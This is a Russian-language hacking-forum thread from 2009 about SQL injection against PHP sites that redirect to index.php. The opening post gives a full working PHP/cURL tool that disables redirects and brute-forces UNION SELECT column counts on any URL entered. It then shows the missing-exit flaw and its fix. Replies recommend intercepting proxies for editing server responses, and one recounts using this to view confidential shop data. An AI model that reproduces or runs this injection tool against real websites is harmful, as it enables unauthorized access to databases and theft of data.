Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Переадресация на Index.php при SQL INJ |

18.02.2009, 06:23
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Переадресация на Index.php при SQL INJ
Многие сталкивались с ситуацией когда при SQL инъекции, была переадресация на Index страницу. Решил провести маленький эксперемент, попробывать получать страницу с ответом, без каких либо переадресаций, написал маленький РНР скриптик на скорую руку на cURL'e, т.к. там есть возможность, использовать опцию, да и вообще кУРЛ быстрый и очень удобный инструмент:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
описание:
CURLOPT_FOLLOWLOCATION: При установке этого параметра в ненулевое значение, при получении HTTP заголовка "Location: " будет происходить перенаправление на указанный этим заголовком URL (это действие выполняется рекурсивно, для каждого полученного заголовка "Location:").
Собсно результат был успешным, скрин:
http://i073.radikal.ru/0902/ab/f85a1ef62a4f.png
сам скриптик:
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>SQLINJ tool</title>
<style type="text/css">
<!--
body {
background-color: #666633;
}
.style1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #999966;
cursor: crosshair;
border-top-style: dotted;
border-right-style: dotted;
border-bottom-style: dotted;
border-left-style: dotted;
}
.style2 {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #F4F4F4;
font-size: 12px;
}
.input {
background-color: #666633;
}
a:link {
color: #DDDDDD;
text-decoration: none;
}
a:visited {
color: #DDDDDD;
text-decoration: none;
}
a:hover {
text-decoration: none;
color: #CCCC33;
}
a:active {
text-decoration: none;
color: #FFFF33;
}
body,td,th {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
}
-->
</style>
</head>
<body>
<div align="center">
<h1 class="style1">SQLINJ Tool</h1>
<p> </p>
<table width="580" border="1" align="center">
<form id="form1" name="form1" method="post" action="">
<tr>
<td width="54" align="center">URL:</td>
<td width="510"><input name="url" type="text" class="input" size="85" /></td>
</tr>
<tr>
<td align="center">Columns:</td>
<td><input name="count_columns" type="text" class="input" size="85" /></td>
</tr>
<tr>
<td colspan="2" align="center"><input name="button" type="submit" class="input" value="go brute" /></td>
</tr>
</form>
</table>
<br />
<?php
set_time_limit(0);
if(!isset($_POST['url'],$_POST['count_columns']))
{
exit;
}
$url = trim($_POST['url']);
$count_columns = trim($_POST['count_columns']);
$ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$sql = "+UNION+SELECT+0x53714C694E6A5F31";
$work_url = $url.$sql;
$work_url_dig = $url."+UNION+SELECT+1";
$ref = "http://www.rambler.ru/search.php?reklama";
for ($i=2;$i<$count_columns + 2;$i++)
{
$ch = curl_init($work_url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
$res = curl_exec($ch);
if(preg_match('#SqLiNj\_[0-9]{1,3}#i', $res, $matches))
{
echo '<table width="50%" border="1" align="center"><tr><td>Результат:</td></tr><tr><td>';
echo "Найдено соответсвие: ".$matches[0]."<br>";
echo "Хэкс эквивалент колонок :<br>".$work_url."<br>";
echo "Числовой эквивалент колонок :<br>".$work_url_dig."<br>";
$count_dig = explode("_",$matches[0]);
echo "Принтабельная колонка - <b>".$count_dig[1]."</b>";
break;
echo '</td></tr></table>';
}
$work_url .= ",0x".bin2hex("SqLiNj_$i");
$work_url_dig .= ",$i";
}
?>
</body>
</html>
Причиной тому является быдлокодинг разработчиков скрипта, работающий по системе - если переменная (к примеру id=1) равна не целочисленомму значению (if(!is_numeric($id))), идет редирект на Индекс (header("Location: http://www.example.com/"); )
Уязвимая часть кода выглядит так:
PHP код:
<?php
$id = $_GET['id'];
if(!is_numeric($id))
header("Location: http://www.example.com/");
# Остальная часть скрипта...
?>
Правильнее дописать остановку выполнения остальной части коды/скрипта после условия:
PHP код:
<?php
$id = $_GET['id'];
if(!is_numeric($id))
{
header("Location: http://www.example.com/");
exit;
}
# Остальная часть скрипта не грузится...
?>
Последний раз редактировалось b3; 26.02.2009 в 06:39..
|
|
|

18.02.2009, 06:28
|
|
Banned
Регистрация: 12.02.2009
Сообщений: 73
Провел на форуме: 175651
Репутация:
171
|
|
сделай скрин поменьше, тянет страницу, пиздец не красиво 
|
|
|

18.02.2009, 07:24
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2007
Сообщений: 642
Провел на форуме: 3241649
Репутация:
1632
|
|
помоему если я не ошибаюсь, в акунетиксе есть http editor который позволяет просматривать ответы сервера без всяких редеректов
__________________
<<<< Смотри на дату моей реги и завидуй!!!
|
|
|

18.02.2009, 20:17
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Тык если переадресация случается,разве не означает это,что всё потеряно?))Фильтрация-то сработала...У меня случался редирект только тогда,когда я передавал кривые параметры )
|
|
|

18.02.2009, 20:21
|
|
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме: 1917742
Репутация:
541
|
|
paros proxy скачай, и редактируй ответы-приветы.
|
|
|

19.02.2009, 09:08
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме: 2584134
Репутация:
519
|
|
Сообщение от Велемир
Тык если переадресация случается,разве не означает это,что всё потеряно?))Фильтрация-то сработала...У меня случался редирект только тогда,когда я передавал кривые параметры )
Ну переадресация в основном случается в случае не правильного указания параметра...и это не обязательно фильтрация...
|
|
|

19.02.2009, 12:33
|
|
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме: 1917742
Репутация:
541
|
|
была когда-то бага в шопе каком-то, при ответе сервера о неверности пасворда он слал в хиедере - location:index.php, так вот через парос прокси этот ответ прибивался до обработки его браузером, и мы оставались на той же странице, с возможностью просмотра конфиденциальной информации. Из чего следует, что парос - это не инет крак, он позволяет эдитить ответы-приветы ДО их обработки браузером, что иногда очень полезно. есть еще плуг к лисе подобный.
|
|
|

22.02.2009, 04:49
|
|
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
Провел на форуме: 1123418
Репутация:
362
|
|
юзать сниффер уже не в моде? омг
|
|
|

22.02.2009, 04:55
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме: 3152874
Репутация:
1020
|
|
Сообщение от b3
ИМХО ето именно и есть та фильтрация, выглядит примерно так:
PHP код:
if(!is_numeric($id))
{
header("Location: http://site/index.php");
}
А так как нам пофигу на переадресации, мы грузим страницу с иньекцией.
Ну вобше в более менее нормальном приложении должно идти остановка скрипта после переадресации
:
PHP код:
if(!is_numeric($id))
{
header("Location: http://site/index.php");
die;//exit
}
это относительно нечастые случаи(когда нету остановки выполнения скрипта) но все же случаються,а за старание + однозначно.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|